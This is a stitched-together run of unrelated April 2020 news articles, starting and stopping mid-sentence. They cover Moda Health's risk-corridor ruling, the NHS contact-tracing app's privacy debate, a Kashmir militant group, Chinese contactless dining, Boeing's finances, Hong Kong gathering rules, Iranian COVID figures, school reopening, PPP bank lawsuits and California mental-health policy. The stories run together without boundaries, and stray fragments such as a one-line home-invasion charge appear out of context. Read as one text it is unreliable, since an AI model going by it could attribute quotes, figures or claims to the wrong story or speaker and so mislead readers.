with the ruling. The decision validates our decision to participate fully in those (Obamacare) exchanges, taking the risk associated with providing cost-effective access to the health system for Oregon, Washington and Alaska residents desperately in need of care. We intend to use the money restored to us to replenish our reserves, retire debt and restore growth initiatives we were forced to abandon in 2016, Gootee added. While this will not fully compensate us for the damages we incurred, it will create new jobs and lasting opportunities for our employees. When the Obama administration wrote the Affordable Care Act it anticipated insurers might struggle to adjust to a new era when they could no longer reject customers with pre-existing conditions. They devised the so-called risk corridors program that would partially reimburse the insurance companies that ended up with the sickest and most expensive patients. The act said the federal government "shall pay" insurers for their losses if the costs of the expanded coverage outpaced the premiums. But everything was put on hold when Republicans took control of Congress in 2014. Lawmakers refused to appropriate the money for the risk corridors program. Sotomayor said Congress was not free to renege on a past promise to pay. The 2010 law "created a government obligation to pay insurers the full amount set out" in a formula, she wrote in Maine Community Health vs. United States. "An obligation is definite commitment that creates a legal liability" on the part of the government, she said. Dissenting alone, Justice Samuel A. Alito Jr. faulted the court for "providing a massive bailout for insurance companies that took a calculated risk and lost. These companies chose to participate in an Affordable Care Act program that they thought would be profitable," he said. In 2012, Alito joined the dissent that would have struck down the Obamacare law in its entirety. Monday's ruling has nothing directly to do with the current Obamacare program. However, the justices in the fall will hear a new challenge to the law that arose when Texan Republicans sought again to have it struck down. Moda Health Plans was the third insurer in the country to sue the federal government in the spring of 2016. It claimed it could have averted nearly fatal fiscal problems if the government delivered $180 million it had promised. Gootee said at the time that the company never would have jumped so aggressively into the new markets created by the Affordable Care Act if it knew the federal government was going to renege on its obligations. Modas financial situation became so dire, Oregon's Department of Consumer and Business Services took the first steps toward taking the company into state supervision in January of 2016. Moda fended off state regulators by raising hundreds of millions in fresh capital. Unlike some of its competitors, Moda embraced the Affordable Care Act. It moved aggressively into the new markets created by the controversial law and enrolled more Oregonians -- in excess of 121,000 at the peak -- than any other insurance company in the state. Gootee said his company knew it was entering dangerous territory. As it said in its complaint, insurers lacked sufficient information to accurately set rates. Government officials devised the Risk Corridor program as a way to encourage insurance industry participation despite the unknowns. Moda says the Centers for Medicare and Medicaid Services pledged to Moda $89.4 million for 2015 and $101.8 million in 2016. This represents the welcome end of a long road for Moda, one in which we were forced to face the fallout from the governments action, Gootee said. I am grateful today to all who supported us through the various ups and downs along the way. I couldnt be more proud of what we have achieved. The UK is once again bucking the trend in its quest to conquer the coronavirus as it opts not to use the framework created by Apple and Google for its NHS COVID-19 contact-tracing app. Instead, NHSX the digital arm of the nation's health organisation is creating a centralised app that strays from the Apple-Google model. NHS officials hope their app will provide better insight into the spread of COVID-19 and help flatten the curve of coronavirus infections. But security experts warn the method has significant privacy implications, could upset the tech firms, and provide the blueprint for unethical mass-surveillance once the pandemic ends. Apple and Google, along with GCHQ's National Cyber Security Centre (NCSC), are still assisting and advising on the NHS app, according to reports. Scroll down for video The UK is once again bucking the trend in its quest to conquer coronavirus as it opts not to use the framework created by Apple and Google. NHS officials hope their method will provide better insight into the spread of COVID-19 and improve treatment and diagnostics Google and Apple joined forces earlier this month and announced they were combining their expertise to turn smartphones into coronavirus-tracking devices. The unprecedented collaboration comes from two companies that both place a high value on the privacy of users. As a result, their system, which was designed to work optimally on both iOS and Android, is decentralised. No movement or tracking information will be stored on a central server, meaning it is invisible to Google, Apple and the NHS. It works by keeping a exchanging a digital 'token' with every phone you come within Bluetooth range of over a fixed period. If one person develops symptoms of the coronavirus or tests positive, they will be able to enter this information into the app. The phone will then send out a notification to all the devices they have exchanged tokens with during the infection window, to make people aware they may have been exposed to COVID-19. The process is confined to the individual's handset and the scope of the information sent to the NHS is strictly limited. Battery life implications of the NHS's decentralised NHS contact tracing coronavirus app The system built by Apple and Google was intended to be energy efficient and it was hoped this would preserve battery life. Apple allowed phones using its API - application programming interface - to conduct Bluetooth 'handshakes' in the background. In this process, a phone regularly changes its unique ID. The phone will also store IDs of phones it has come into contact with. This is all done with the app lying dormant and not having to wake up. If someone is found to have COVID-19 they would input a code into their app and this authorises the automatic dispersal of a notification to any people who may be affected. This was all authorised by Apple and Google to streamline the process and make it as smooth a possible. However, in the NHS's centralised app, which goes against the grain of what Apple and Google created, the app running in the background must be 'woke up' every time a Bluetooth connection to another device is made. This uses energy. Some inherent code will then run, logging the interaction and storing the appropriate IDs. It will then go back to its dormant state. Apple's exchange of data via the Bluetooth 'handshake' is also quicker than the version being built by the NHS, further adding to the battery life disparity. Australia appears to have avoided staying within the confines of the Google-Apple API but has acknowledged notable power consumption problems. The Australian government has also admitted issues with the app working properly if the phone is using its Bluetooth for other purposes - such as speakers etc. Advertisement However, the method proposed by NHSX focuses on a centralised scheme. In it, the data is still collected via Bluetooth but any interactions between people is recorded by the phone and then sent back to a server run by the NHS. Here, all data on all movements will be kept. This level of data collection on a person's movements is fraught with hazards, experts claim. The NHS, unsurprisingly, is facing questions as to why it needs to develop the app in this manner when other countries are plumping for the more privacy-centric approach. In a weekend blog post, NHSX writes: 'The data will only ever be used for NHS care, management, evaluation and research. 'You will always be able to delete the app and all associated data whenever you want. We will always comply with the law around the use of your data, including the Data Protection Act and will explain how we intend to use it. 'We will be totally open and transparent about your choices in the app and what they mean. 'If we make any changes to how the app works over time, we will explain in plain English why those changes were made and what they mean for you. Your privacy is crucial to the NHS, and so while these are unusual times, we are acutely aware of our obligations to you.' The security and privacy issues have been sized up and balanced against potential public health benefits and the officials in charge of the UK's coronavirus response deem the centralised app a necessary step. The health gains they expect to come from data analysis could save lives and this, in the eyes of the health officials, outweighs any privacy quandary. A centralised app run by the NHS with expert assistance may provide invaluable insight into how COVID-19 is spread. Professor Christopher Fraser, one of the epidemiologists advising NHSX, explained to the BBC: 'One of the advantages is that it's easier to audit the system and adapt it more quickly as scientific evidence accumulates. 'The principal aim is to give notifications to people who are most at risk of having got infected, and not to people who are much lower risk. 'It's probably easier to do that with a centralised system.' At a meeting of the Science and Technology Committee held today, it was revealed the NHS app will likely be rolled out in two to three weeks, but a trial with a small number of people in a very localised, and as yet undisclosed, area will test the app first. NHSX chief executive Matthew Gould said talks are still being held with Google and Apple, despite the decision to move to a centralised version of the app. Germany had previously sided with Britain and hoped to create its own centralised app. But on Sunday the German government performed a dramatic U-turn and is now heading towards a decentralised version. Germany had previously sided with Britain and hoped to create its own centralised app. But on Sunday the German government performed a dramatic U-turn and is now heading towards a decentralised version It also leaves the UK at odds with Switzerland, Austria, a pan-European group called DP3T and the tech-savvy Estonians who are all backing a decentralised app, as advocated by Google and Apple. In Europe, only France, and now Britain, have come out as supporters of a centralised system. Australia, it is believed, is also running a centralised app. Professor Alan Woodward, from the Surrey Centre for Cyber Security at the University of Surrey mentions the fact Apple and Google do not want to assist in developing a system which effectively tracks users as it could later be adopted and tweaked to spy on people en masse. He told PA news agency: 'There may be some pushback, I think the simple way to put it because what Apple does not want is somebody building a system that could be used as a tracking system, a generalised tracking system. 'So, repurposing the technology, later on, for example never mind now in this emergency of the data collected but could someone, later on, build technology along the same principles just to use Bluetooth to track people? 'And the whole point was, iOS particularly was built, and Android's later versions, are built so that you cannot do that. 'They (Apple and Google) know that their customer base is global, it's not just the US or the UK or European, it's all over the world, so they want their users to not think that governments can somehow subvert their operating systems to become trackers. 'So there is a bit of a danger it might get some pushback. 'And I think, if the UK Government are going to sell this to the public, they have to have those epidemiologists, the public health people, out, front and centre, justifying why they need that data.' Contact tracing reduces the time it takes to isolate infected people by nearly two days Contact tracing reduces the time taken to isolate people with COVID-19 by nearly two days, making it key to controlling the spread of coronavirus, a new study claims. Chinese researchers claim contact tracing reduced time taken to isolate infected people from an average of 4.6 days down to 2.7 days. The study was based on an analysis of 391 coronavirus cases and 1,286 of their close contacts in Shenzhen, China, over four weeks between January 14 and February 12. The disease prevention method also quickened the average time for new cases to be confirmed from 5.5 days to 3.2 days, it found. Contact tracing which involves locating those who have been in close contact with an infected person followed by and rapid isolation can reduce the length of time people are infectious in the community, the study suggests. Since global lockdowns, contact tracing has increasingly come in the form of government-backed apps for users to report any symptoms. Advertisement The invasive nature of the app was acknowledged by the NHS. Mr Gould said during the meeting of the Science and Technology Committee that 'a huge communications effort' would be needed to get the message across of the app's benefits outweighing any potential concerns. Other countries that have developed similar apps with the same goal in mind have encountered difficulties when straying away from the Goole-Apple ideal. The main reason is that the companies have specifically tried to make it as difficult as possible to collect data using Bluetooth. Performance concerns have also been raised by some, which compound the privacy concerns. If it is not built within restrictions laid out by Apple and Google, it risks falling foul of more technical glitches than if it were to adhere to the model. For example, software engineers around the world have had issues getting the app to actively collect data if the app is not active or on-screen. NHSX claims it has found ways to resolve this issue and is able to make the app perform 'sufficiently well'. An NHSX spokesman said: 'Engineers have met several core challenges for the app to meet public health needs and support detection of contact events sufficiently well, including when the app is in the background, without excessively affecting battery life. 'This has been achieved using standard Google and Apple published API while adhering to the Bluetooth Low Energy Standard 4.0 and above.' Experts from GCHQ's National Cyber Security Centre have assisted in the making of the app where as NCSC claims its involvement has been restricted to advising. Amidst COVID-19 pandemic, a hitherto little-known terrorist organization The Resistance Front (TRF) has surfaced on the terror map of Kashmir valley. Intelligence inputs suggest that the newly formed TRF was formed by Pakistani spy agency Inter-Services Intelligence (ISI) this year and some terrorists from Lashkar-e-Taiba and Hizb-ul-Mujahideen may have joined it. On April 5, a violent gun battle erupted along the Line of Control (LoC) in north Kashmirs Kupwara district, in which five Army personnel were martyred and an equal number of infiltrating terrorists were killed. The soldiers belonged to the elite 4 Para the unit which undertook the 2016 cross-LoC surgical strikes in Pakistan-occupied-Kashmir (PoK). Little known TRF claimed responsibility for the attack. On April 18, another deadly attack was carried out by the terrorists in the apple town of the Sopore area of Baramulla district of north Kashmir. In this attack, three para-military CRPF were killed and two got injured. Once again, TRF claimed responsibility for the attack. On April 27, three terrorists were killed in Lower Munda area of Qazigund in south Kashmirs Kulgam district reportedly belonged to the TRF. READ | J&K Govt Orders Probe Into Pilferage Of Liquor During Lockdown TRF module busted On March 23, J&K police said it busted the outfits first-ever module and recovered a consignment of weapons in Kupwara. Security forces have busted a terror module in Kupwara district of Jammu and Kashmir arresting six suspected militants and recovering a large cache of arms and ammunition. The six were members of The Resistance Front, a newly formed terrorist outfit believed to be a shadow group of the LeT and HM were arrested in an operation spreading from Sopore in Baramulla district to Keran in Kupwara district near the Line of Control, the officials said then. All the teams (SF) reached the spot covertly and apprehended four people identified as Ahtisham Farooq Malik, Shafqat Ali Tagoo, Musaib Hassan Bhat and Nisar Ahmad Ganai all residents of Sopore. During questioning, they revealed that they were working under a Pakistan-based man who goes by the name Andrew Jones on Telegram messenger. These four were the main handlers deputed by Andrew Jones for recruiting local youth for terrorist activities in Kashmir, particularly in North Kashmir their job was to instigate local youth to join terrorist ranks, they said. Their questioning led to the arrest of two more suspects hailing from Keran who have been identified as Kabeer Lone and Sharafat Ahmad Khan. Khan during questioning disclosed that he along with two other people from Keran received a consignment of arms and ammunition from across the LoC and dumped it near Cobra Post Keran Kupwara. A team of police officials raided the spot and recovered huge cache of arms weapons and ammunition. Eight AK rifles, 25 AK magazines, 10 pistols, more than 1,000 AK and pistol rounds, 89 hand grenades and 21 detonator fuses were recovered from the six militants, officials said. The arrest of the terrorists and their over ground workers and recovery of weapons and explosives has foiled the designs of their masters to revive terrorism in north Kashmir and unleash a fresh wave of violence, they said. READ | J&K Government Extends Ban On High-speed Internet Till May 11 Amid COVID-19 Lockdown Don't attack J&K Police Recently a purported statement of TRF surfaced on social media asking the Hizbul not to target J&K police personnel as they are our own people and we cannot fight occupational forces without their support. The statement claimed that one of the senior-most Hizbul commanders in Kashmir, Abass Sheikh, has left Hizbul because he also does not agree with killing Kashmir police and civilians. Now, Abass bhai is with us and we will fight with anyone who kills or hurts any Kashmiri. This is a final warning to Hizbul. Dont force us to take the hard route. No warning now onwards, only action, it added. READ | 3 Unidentified Terrorists Killed By Security Forces In Kulgam District Of J&K Home-grown terror character An Army officer while wishing anonymity said that the TRF is a joint shadow group of the LeT and Hizbul Mujahidin. TRF was created by ISI to give their cross-border terrorism in Kashmir more home-grown terror character because of the pressure from Financial Action Task Force (FATF), the global watchdog for terror-funding, he said While citing an example, the officer said in the early 2000s when the LeT would carry out attacks in Kashmir the responsibility would be taken by Save Kashmir Movement which was a shadow outfit then. The past few weeks have not only witnessed an increase in infiltration attempts along LoC, but encounters between terrorists and security forces, civilian killing and abduction attempts of J&K policemen are also on the rise. READ | J&K Adminstration Clarifies MHA's Order Over Re-opening Of Shops; Issues Notification (PTI Photo for representation) Professionals in the Chinese catering industry have been using contactless solutions to reduce risks of infection while retaining their customers amid the COVID-19 epidemic. A waitress provides a serving spoon to customers at a restaurant in Yuelu district, Changsha, capital of central Chinas Hunan province, on April 15. (Photo by Chen Zeguo/Xinhua) The first group of restaurants recommended by the China Hospitality Association and brands in the sector recently started to offer contactless services in their dining areas, where customers order food on their mobile phones and then collect their own meals. This kind of contactless practice is being seen in other scenarios, such as supplies of fresh food and delivery of ready-to-serve food. Kuailv Jinhuo, the business-to-business arm of Chinas largest on-demand service platform Meituan, delivers fresh food to restaurants, helping them ensure hygiene and safety on the supply side. Workers at Kuailvs warehouses are required to have their body temperatures taken once or twice per day and change face masks every four hours. In addition, all its warehouses and delivery vehicles are thoroughly disinfected every day, and drivers are required to wear masks during the entire delivery process. We also offer contactless delivery services, with drivers calling restaurants to collect orders at pre-determined locations and taking photos to indicate that orders have been delivered after they are confirmed, said Yang Xiaoguang, head of Kuailvs logistics department, adding that the measures mean the need for direct human contact is avoided and reduce the risk of infection. With local governments in China encouraging contactless food ordering services, Meituan launched its new human contact-free app feature to encourage restaurants to put their QR codes outside their dining areas. This way, customers can order food by scanning QR codes and then collecting their own meals. Top Chinese catering companies are also deploying robots to deliver food to their customers. In a branch of the Dolar Shop Hot Pot Restaurant in Shanghai, a robot named Peanut takes food to customers. The robot can deliver 300 dishes per day and 450 during peak hours, said Chi Xiaoming, chief public relations officer of its developer Keenon Robotics. In addition, smart food cabinets are also contributing to the contactless food delivery movement. Meituans main rival in the food delivery sector, Eleme, has launched smart food cabinets in major office buildings in Shanghai. The dining cabinets are equipped with automatic disinfection and heat preservation functions to ensure diners safety. Reports confirm that the platform plans to deploy another 1,000 cabinets in the city, and launch more in about 20 other Chinese cities. Share this article Whatsapp Facebook Twitter Linkedin John Biers (Agence France-Presse) New York, United States Tue, April 28, 2020 07:03 625 fc6853813033f564188675f8bd48f167 2 Business Boeing,plane,plane-purchase-delay,coronavirus,air-travel,recovery,COVID-19,COVID-19-travel-ban,COVID-19-travel-restriction Free Boeing's head said Monday that restoring the dividend could take three to five years as the company girds for a slow air travel recovery in the wake of the coronavirus crisis. The comment from Chief Executive David Calhoun was a signal that paying back debt and keeping up Boeing's manufacturing supply chain were bigger priorities than paying dividends for the foreseeable future. Speaking at the company's annual meeting, Calhoun offered a sober outlook on the near-term prospects for commercial air travel in the wake of the virus that is projected to cost the airline industry an estimated $314 billions in 2020 revenues, potentially felling some carriers. "Based on what we know now, we expect it will take two to three years for travel to return to 2019 levels and an additional few years beyond that for the industry's long-term trend growth to return," Calhoun said. Even before COVID-19 broke out, Boeing was already under pressure after two crashes of its 737 MAX killed 346 people, leading to a global grounding since March 2019. Boeing is expected to soon initiate talks with the US Treasury on potential federal support for the aviation giant. Boeing has not said definitively whether it will take federal aid. Around $17 billion aimed at Boeing was included in the giant federal relief bill approved in late March under the CARES act, which restricts dividends and share buybacks from companies that take aid. Families of the MAX crashes' victims have petitioned US Treasury Secretary Steven Mnuchin to withhold funding for Boeing unless it meets stringent safety and governance standards, according to lawyers who are representing the victims in suits against Boeing. Directors re-elected The annual meeting was held remotely in light of the social distancing policies and included brief remarks from shareholders who put forth proposals to reign in executives after the MAX disasters. Proxy advisor Institutional Shareholder Services had recommended "no" votes on four longtime Boeing directors in the wake of the problems, citing a failure to adequately oversee management strategy and corporate culture. But all Boeing directors were re-elected by shareholders. A narrow 52 percent majority of investors did vote against making the chairman an independent member of the board. Boeing has divided the roles of CEO and chairman as it navigates its current crisis. Calhoun defended the company's withdrawal from a $4.2 billion deal with Brazilian company Embraer, which has said it will sue Boeing following the move. Calhoun predicted the airline industry would have a strong recovery once the COVID-19 crisis is contained, but warned of a tough road ahead. The coronavirus will compel airlines to reconsider the way they manage flights, putting greater emphasis on hygiene. During a question and answer session with investors, Calhoun was asked whether Boeing expects planes to be reconfigured to meet social distancing guidelines. "Our customers without a doubt are going to have to create a new relationship with the flying public," Calhoun said, adding that "for all of us, it's going to be an education." Airline clients are deferring deliveries, suspending payments to Boeing and retiring older aircraft, which hits the company's services business. All those effects are on top of more than a year of lost revenues tied to the 737 MAX. "We know we're going to have to borrow money in the next six months," Calhoun said, adding that repaying debt will occupy the company for the next while, impeding its ability to return cash to shareholders. He also identified maintaining the company's supply chain as a priority, saying "without the supply chain, there will be nothing to assemble." Shares of Boeing fell 0.6 percent to $128.20 shorty after midday. We hereby "sternly clarify" that the Police and Secretary for Justice are wrong to claim that groups of 4 standing more than 1.5 metres apart constitute a single gathering if they have a common purpose. The Group Gathering Regulation allows for multiple, non-dispersable gatherings and contain no reference to the purpose of participants. We also show how to optimise use of available space. Non-dispersable gatherings This will hopefully soon become an academic point regarding a lapsed Regulation (see yesterday's article), but it is worth pushing back against the ludicrous interpretation by the Police and the Secretary for Justice of Regulation 599G (R599G, Prevention and Control of Disease (Prohibition on Group Gathering) Regulation), currently due to expire at the end of 7-May-2020. In an announcement on Sunday (26-Apr-2020), the Police stated: "Rumours suggest that there is no violation of the regulation under Cap.599G as long as a person participates in a public event in a group of no more than four persons and such group distances itself 1.5m from other persons participating in the same event. Police sternly clarify that as long as the persons gather for a common purpose in public place, it is irrelevant whether the participants have kept a distance of 1.5m from each other or between each small group of four; such public event consisting of more than four persons is still a prohibited group gathering and all the participants will commit the offence under Cap.599G." (our bold) And at a media briefing yesterday, Teresa Cheng Yeuk Wah, the Secretary for Justice (SJ) answered (video here): "you were talking about the Cap. 599G regulation. Generally, insofar as the public gathering idea is concerned, it means that people gather together for a common purpose and whether that is met will depend on a number of circumstances of a particular case. For example, whether they were so organised; whether they were discussing and proceeding in an interactive and connected way..." (our bold) Allow us to "sternly clarify" that in our view, the Police and SJ are talking utter rubbish and are conflating two separate and unrelated laws. Section 2 of R599G defines "group gathering" as "a gathering of more than 4 persons", but does not contain a definition of a "gathering". However, a definition can be inferred from Section 10, which allows an authorized officer to disperse a gathering if it is a "dispersable gathering" which it defines as follows: "For subsection (1)(b), if the distance between any participant of a gathering in a public place and any participant of another gathering in the place is less than 1.5 m, and the total number of participants of the gatherings is more than 4, then each of the gatherings is a dispersable gathering." (our bold) This clearly implies that there can be multiple gatherings (each of 4 or less) in the same place, but they are not dispersable unless they are less than 1.5 metres apart. It refers to "gatherings" in the plural. It logically follows from this that a "gathering" must involve people who are each less than 1.5 metres from at least 1 other member - even if they are stretched out in a line. This is also consistent with the directions issued by the Secretary for Food and Health under Regulation 599F, which requires restaurant tables to be spaced by at least 1.5 metres or to have "some form of partition which could serve as an effective buffer". We must "sternly clarify" that neither of these Regulations contains any reference to a "common purpose" as the Police and the SJ fancifully imagine. The virus doesn't care what your purpose of being somewhere is, nor does it care whether people at two neighbouring tables, or at two neighbouring gatherings, know each other, or have agreed to be nearby at the same time. What matters is the separation between groups of 4 or less, in a restaurant or in a space, to reduce the risk of virus transmission. These emergency Regulations are made under Section 8 of the Prevention and Control of Disease Ordinance (PCDO), and they can only be made: "for the purposes of preventing, combating or alleviating the effects of the public health emergency and protecting public health." Obviously, the intent or purpose of people in gatherings is irrelevant to the question of whether their activity endangers public health. If the Police want to investigate other offences, such as "unauthorized assembly" under Section 17A of the Public Order Ordinance (POO), then they can do so. Under the POO, the existence of a "purpose" or "common purpose" is relevant to the determination of whether a "meeting" or "public gathering" is taking place, but it is entirely irrelevant to R599G, and to suggest otherwise is to mislead the public. Both the Police and SJ should retract their statements. We note that both the SJ and the Chief Executive in her briefing today raised the issue of strangers queueing for a bus or boarding an elevator as an example of lacking a common purpose. In fact, R599G does envisage that to be a group gathering, because it was deemed necessary to exempt "group gathering for the purposes of or related to transportation" in Schedule 1. People in gatherings should be in compliance with, and non-dispersable under, R599G if no gathering exceeds 4 and if each gathering is at least 1.5 metres from another gathering. Interestingly, Israel has introduced similar regulations, and a protest against their Government was held in Tel Aviv in compliance, with everyone standing 2 metres apart on a square grid. A square grid isn't optimal, by the way: you can pack in an extra roughly 15% (2/SQRT(3)) if you stand on a triangular grid, so that each person (or gathering), apart from the edge-cases, is equidistant to 6 other people. Just pick 2 other people and stand on the corner of an equilateral triangle with them, and your grid will self-assemble. And yes, if you stare at it hard, you should see something recognisable to most Israelis. Webb-site.com, 2020 Organisations in this story People in this story Topics in this story Sign up for our free newsletter Recommend Webb-site to a friend Copyright & disclaimer, Privacy policy Back to top BAKU, Azerbaijan, April 28 By Elnur Baghishov - Trend As many as 1,112 people have been infected with coronavirus (COVID-19) in the past 24 hours in Iran, said Kiyanush Jahanpur, spokesman for Iran's Ministry of Health and Medical Education, Trend reports citing Ministry. According to Jahanpur, 71 people have died from the coronavirus over the past day. Jahanpur added that the condition of 2,983 people is serious and critical. So far, more than 442,000 tests have been conducted in Iran for the diagnosis of coronavirus. Iran is one of the countries heavily affected by the rapidly-spreading coronavirus. According to recent reports from the Iranian officials, over 92,500 people have been infected, 5,877 people have already died. Meanwhile, over 72,400 have reportedly recovered from the disease. The country continues to apply strict measures to contain the further spread. Reportedly, the disease was brought to Iran by a businessman from Iran's Qom city, who went on a business trip to China, despite official warnings. The man died later from the disease. The Islamic Republic only announced its first infections and deaths from the coronavirus on Feb. 19. President Donald Trump says states should seriously consider reopening their public schools before the end of the academic year, even though dozens already have said it would be unsafe for students to return until the summer or fall. Trump made the comments Monday in a call with governors discussing how to reopen their economies, among other topics. "Some of you might start thinking about school openings, because a lot of people are wanting to have the school openings. It's not a big subject, young children have done very well in this disaster that we've all gone through," he said. While addressing Vice President Mike Pence, Trump added that it's something "they can seriously consider, and maybe get going on." Later in the call, Colorado Gov. Jared Polis said his state's schools are not reopening fully before summer but hope to open some buildings for special education meetings and for small groups of students in vocational programs. "We're hoping at least for those last few weeks that kids who are taking classes that need the physical equipment, they can come in in smaller groups," Polis said. "But we want to reconfigure it with better social distancing for next school year." Coronavirus in Oregon: Latest news | Live map tracker |Text alerts | Newsletter Trump made the comments as the Centers for Disease Control and Prevention worked to finalize guidelines for reopening the economy. For schools, that included putting students desks 6 feet apart, serving meals in the classroom instead of the cafeteria and closing playgrounds. Reopening schools is considered key to getting the economy moving again. Without a safe place for kids, many parents would have difficulty returning to work. But some education officials say opening schools quickly would bring major risk and little reward, especially since the end of the school year is approaching. "Are they going to reopen for two weeks? Three weeks?" said Daniel Domenech, executive director of the American Association of School Administrators, "It's not the right thing to do. Particularly when we're involving the safety and welfare of our students." At a White House news conference Monday, Trump acknowledged that there's little time left in the school year, even as he said many states are thinking about getting kids back into the classroom. "I think you'll see a lot of schools open up even if it's for a very short period of time," he said. "In terms of what this vicious virus goes after, young people seem to do very well. Young people seem to do very well so I know that there are some governors that aren't necessarily ready to open up states, but they may be ready to open up the school systems." Schools across the nation have closed during the coronavirus pandemic, and dozens of states have ordered their schools to remain closed through the rest of this academic year. Only a few have publicly discussed earlier openings, including Montana, which says school districts can resume classroom instruction on May 7. In many districts, officials have said it's still unclear whether students will be able to return to the classroom by next fall. And even if they do, many are planning for social distancing measures that could make school look radically different from the past. Los Angeles Mayor Eric Garcetti said on CNN that it's "way too early" to reopen his city's schools, adding that "you don't get a lot of credit for moving too quickly to reopen." Responding to Trump's comments, one of the nation's largest teachers unions said there's still much work to be done before schools can open safely. The American Federation of Teachers said there needs to be better testing and tracking for the virus, and schools must have access to personal protective equipment. "It's good the president understands that reopening society and the economy hinges on successfully and safely reopening schools," said Randi Weingarten, the union's president. "But the question should not be whether we open schools, but how we do it safely. COVID-19 is a terrible virus that has already taken too many lives, and, in the absence of a vaccine, there is no magic wand or magic elixir as the president would have us believe." If schools reopen too quickly and end up spreading the coronavirus, they could be held legally liable, said Francisco Negron, chief legal officer for the National School Boards Association. And while coronavirus cases have been mild among U.S. children, many schools have students with medical conditions that could make them vulnerable, he said. "The foremost concern for schools is going to be safety of their students and safety of their employees," Negron said. In the CDC's draft guidelines for schools, the agency suggested a three-phase reopening process for schools in communities with "low levels of COVID-19 spread and those with confidence that the incidence of infection is genuinely low." The guidance encourages schools to create isolation areas for students who develop symptoms. And if anyone with COVID-19 is found to have been in the building, it advises schools to shut down for one or two days to clean and disinfect. Domenech, of the school administrators association, said the guidelines pose significant logistical hurdles. Trying to keep younger students 6 feet apart could prove to be impossible, he said, and many schools have so many students they would violate suggested limits on large gatherings. Still, schools are looking for ways to limit student interaction as they reopen, including plans to bring only a portion of the students in at once. Schools might bring half the students in for the morning, for example, and rotate in the other half for the afternoon. While they're at home, students could keep taking classes online, Domenech said. "Everybody wants to have the kids back," he said. "We understand the impact that this has on the economy. You have working parents and they need their kids to be safe and in a school environment so they can go back to work. Sooner or later schools will have to reopen. The question is how." The Associated Press Subscribe to our Oregon coronavirus newsletter: Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe Our news is free on LAist. To make sure you get our coverage: Sign up for our daily newsletters. To support our non-profit public service journalism: Donate Now. Ten Los Angeles-area businesses are suing the country's biggest banks over their handling of the first round of funding from the Paycheck Protection Program (PPP), the federal government's loan program for small businesses affected by the coronavirus. They claim banks prioritized bigger customers over smaller ones in violation of the program's intent. Now, as the second round of funding for the program goes live, the plaintiffs hope their lawsuit ensures the program is more equitable this time. "Even if nothing comes from this, perhaps just knowing the lawsuit existed before the second round came out has helped small businesses that might not have gotten a loan," said Lou Rabon, the CEO of Cyber Defense Group, a plaintiff in the lawsuit against JP Morgan Chase. "And if that's the case, I would consider it successful," he said. icon DON'T MISS ANY L.A. CORONAVIRUS NEWS Get our daily newsletters for the latest on COVID-19 and other top local headlines. Terms of Use and Privacy Policy A ROCKY ROLLOUT On April 3, banks began accepting applications for the PPP. Congress had voted to create the $349 billion loan fund just a week earlier, and put banks in charge of issuing the government-backed loans. Immediately, there were problems. The U.S. Treasury did not send banks the final guidelines on how to issue loans until the night before the program was set to go live, and many banks were not prepared to accept applications right away. Others shut down their loan portals quickly after being overwhelmed by the demand. Unable to apply for loans, or unsure of the status of their application, many small business owners began to panic. "I applied for the PPP on Day 1, and it's been awful," said Sabrina Damast, who owns an immigration law firm in L.A. "The communication I received from Bank of America has at best been unclear, and in my view has been affirmatively misrepresenting." A week after submitting her application, she said she spoke with someone from Bank of America, and then heard nothing for 10 days. By then, it was April 15, and the funding for the Paycheck Protection Program had run out. 'WE FELT THERE WAS SOMETHING UNFAIR' Meanwhile, attorney Ji-In Lee Houck of the L.A.-based Stalwart Law Group was hearing from frustrated small business owners around California who were unable to apply for loans. Houck and her colleagues analyzed data released on April 16 from the Small Business Administration, and concluded that banks approved more large loans earlier in the program and more smaller loans towards the end. The banks appeared to be prioritizing larger loans, despite the fact that the U.S. Treasury had said the loans were first-come, first-served. "We felt there was something unfair, at the very least, going on," she said. "So we investigated, and we realized there were some viable claims here against the banks." That week, Damast, the immigration lawyer, saw a post in a Facebook group that Houck's firm was looking for plaintiffs in a class action lawsuit against large banks over their handling of the PPP. Dismayed by her experience with Bank of America, and angered by stories of large or publicly-traded companies that had received loans -- like the LA Lakers and Irvine-based Kura Sushi -- she volunteered. "For me, it was more about hopefully dissuading the banks from doing this again," she said. "What I'm hoping my role will promote is a more honest, more first-in, first out processing of applications." THE BANKS PUSH BACK On April 19, Houck's law firm filed four class-action lawsuits against Bank of America, JP Morgan Chase, Wells Fargo and US Bank. The suits accuse the banks of claiming to process loans in the order in which they were received, but instead prioritizing larger loans first because they generated higher fees for the banks. The lawsuits allege that this behavior amounts to unfair, fraudulent and unlawful business practices. Peter Kelley, a spokesman for JP Morgan Chase, declined to comment on the lawsuit, but said the "vast majority of the PPP loans Chase secured went to our smaller business clients." Bank of America spokesman Bill Halldin said the company disagrees with the claims made in the lawsuit. "Smaller enterprises [companies with fewer than 10 employees] dominated our initial submissions and that will continue," he said. Wells Fargo declined to comment on the lawsuit, and US Bank did not respond to a request for comment. LET'S TRY THIS AGAIN Since the lawsuits were filed, multiple media reports have showed how large, publicly-traded companies received loans intended for small businesses under the Paycheck Protection Program. Many of them have given their loans back. The negative attention appears to have had an impact: The Small Business Administration told publicly-traded companies they are most likely not eligible for the next round of funding. And yesterday, the day before the program reopened for loan applications, SBA reminded banks the loans are first-come, first-served. WE LOVE TO ANSWER YOUR QUESTIONS Faisal Radi, 35, of the 14000 block of Trenton Drive, is charged with home invasion for the Sept. 18, 2015, incident on the 9100 block of Fairmont Court, in which he is alleged to have forced his way into the home via a patio door and hit the homeowner in the face with a handgun, police said. During the first week of school closures in San Jose, state Sen. Jim Beall's office received more than a dozen phone calls from distressed parents and caregivers. The problem: They couldn't get free lunches because school district rules required children be present to receive a meal. A grandmother caring for at least seven children couldn't fit them all in her car. One parent had a sick child who needed to stay at home, and another was unable to bring her child, who has disabilities, to wait in the drive-thru lunch line. Beall's staff helped resolve their predicaments by calling the school districts and the schools to mediate. And while lunch line challenges alone might seem minor, Californians are contending with unexpected unemployment, social isolation and anxiety about the virus. All of those added stressors could lead to or exacerbate mental health problems as Californians cope with COVID-19, said the Democrat from San Jose. As the chair of the Senate Select Committee on Mental Health, Beall is one of the most outspoken advocates for mental health in the state legislature. He believes Californians' mental health needs are more acute than ever and ought to be addressed even in the face of deep state budget cuts. "He's been a unique voice and champion who is not afraid to take an unpopular stand because it's the right thing to do," said Michelle Cabrera, executive director of the County Behavioral Health Directors Association of California. "We are in a precarious moment right now." But whether state lawmakers will have the 